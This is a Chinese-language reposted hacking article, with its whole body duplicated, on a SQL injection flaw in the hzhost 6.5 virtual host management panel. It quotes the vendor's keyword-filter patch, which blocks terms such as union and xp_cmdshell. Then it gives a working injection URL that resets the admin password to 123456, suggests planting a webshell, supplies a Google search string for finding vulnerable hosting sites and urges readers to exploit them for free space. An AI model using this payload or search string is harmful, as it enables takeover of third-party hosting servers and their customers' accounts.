hzhost6.5 華眾虛擬主機(jī)管理系統(tǒng)最新SQL漏洞(附漏洞補(bǔ)丁)
發(fā)布日期：2021-12-13 16:56 | 文章來(lái)源：CSDN
這次漏洞出在channeldmectr.asp這個(gè)文件上,跟本就沒(méi)有過(guò)濾任何參數(shù).
正好我這里有正版的補(bǔ)丁,打開(kāi)看下了,打上補(bǔ)丁的channeldmectr.asp文件在第21行到第40行,增加了以下代碼:
Function SafeRequest(ParaName)
Dim ParaValue
ParaValue=Request(ParaName)
if IsNumeric(ParaValue) then
SafeRequest=ParaValue
exit Function
else
ParaValuetemp=lcase(ParaValue)
tempvalue="select|insert|delete|union|
join|script|applet|object|’|drop|update|truncate|
create|xp_cmdshell|exec|alter|cast|rename|modify”
temps=split(tempvalue,”|”)
for mycount=0 to ubound(temps)
if Instr(ParaValuetemp,temps(mycount)) > 0 and lcase(ParaName)<>”module” then
call errorpage(-2,”您提交的內(nèi)容包含了字符["&temps(mycount)&"],請(qǐng)去除后重新提交或聯(lián)系我們…”)
response.end
end if
next
SafeRequest=ParaValue
end if
End function
代碼的大概意思是對(duì)其中紅色部分的參數(shù)進(jìn)行過(guò)濾,禁止提交,防止執(zhí)行構(gòu)造好的SQL語(yǔ)句.
利用方法如下:
http://www.xxx.com/incs/channeldmectr.asp?domainname=1′);{我們構(gòu)造的語(yǔ)句}–
下面給出一個(gè)示范語(yǔ)句:
http://www.xxx.com/incs/channeldmectr.asp?domainname=1′);Update [memlst] SET u_pss=’e10adc3949ba59abbe56e057f20f883e’ Where u_nme=’admin’–
語(yǔ)句的意思是將管理員賬號(hào)admin的密碼改為123456.
當(dāng)然大家也可以靈活運(yùn)用,構(gòu)造其他語(yǔ)句,比如寫一句話?cǎi)R進(jìn)去之類的,這里省略.
最后丟個(gè)關(guān)鍵詞給大家,Google搜索inurl:pdtshw/hstshw會(huì)出來(lái)大批的使用華眾平臺(tái)的IDC站點(diǎn)..轉(zhuǎn)自www.hacksb.cn
我這個(gè)人比較善良,放出獨(dú)家收藏華眾近期出現(xiàn)的所有漏洞的補(bǔ)丁,有需要的朋友可以下載.
OK,就介紹到這里,想拿免費(fèi)空間的淫們現(xiàn)在也可以行動(dòng)了..
補(bǔ)丁下載地址
(本文為普瑞斯特編輯整理) http://www.hacksb.cn
正好我這里有正版的補(bǔ)丁,打開(kāi)看下了,打上補(bǔ)丁的channeldmectr.asp文件在第21行到第40行,增加了以下代碼:
復(fù)制代碼
代碼如下:Function SafeRequest(ParaName)
Dim ParaValue
ParaValue=Request(ParaName)
if IsNumeric(ParaValue) then
SafeRequest=ParaValue
exit Function
else
ParaValuetemp=lcase(ParaValue)
tempvalue="select|insert|delete|union|
join|script|applet|object|’|drop|update|truncate|
create|xp_cmdshell|exec|alter|cast|rename|modify”
temps=split(tempvalue,”|”)
for mycount=0 to ubound(temps)
if Instr(ParaValuetemp,temps(mycount)) > 0 and lcase(ParaName)<>”module” then
call errorpage(-2,”您提交的內(nèi)容包含了字符["&temps(mycount)&"],請(qǐng)去除后重新提交或聯(lián)系我們…”)
response.end
end if
next
SafeRequest=ParaValue
end if
End function
代碼的大概意思是對(duì)其中紅色部分的參數(shù)進(jìn)行過(guò)濾,禁止提交,防止執(zhí)行構(gòu)造好的SQL語(yǔ)句.
利用方法如下:
http://www.xxx.com/incs/channeldmectr.asp?domainname=1′);{我們構(gòu)造的語(yǔ)句}–
下面給出一個(gè)示范語(yǔ)句:
http://www.xxx.com/incs/channeldmectr.asp?domainname=1′);Update [memlst] SET u_pss=’e10adc3949ba59abbe56e057f20f883e’ Where u_nme=’admin’–
語(yǔ)句的意思是將管理員賬號(hào)admin的密碼改為123456.
當(dāng)然大家也可以靈活運(yùn)用,構(gòu)造其他語(yǔ)句,比如寫一句話?cǎi)R進(jìn)去之類的,這里省略.
最后丟個(gè)關(guān)鍵詞給大家,Google搜索inurl:pdtshw/hstshw會(huì)出來(lái)大批的使用華眾平臺(tái)的IDC站點(diǎn)..轉(zhuǎn)自www.hacksb.cn
我這個(gè)人比較善良,放出獨(dú)家收藏華眾近期出現(xiàn)的所有漏洞的補(bǔ)丁,有需要的朋友可以下載.
OK,就介紹到這里,想拿免費(fèi)空間的淫們現(xiàn)在也可以行動(dòng)了..
補(bǔ)丁下載地址
(本文為普瑞斯特編輯整理) http://www.hacksb.cn
版權(quán)聲明：本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有，歡迎引用、轉(zhuǎn)載，請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站，禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像，否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái)，僅供學(xué)習(xí)參考，不代表本站立場(chǎng)，如有內(nèi)容涉嫌侵權(quán)，請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章
關(guān)注官方微信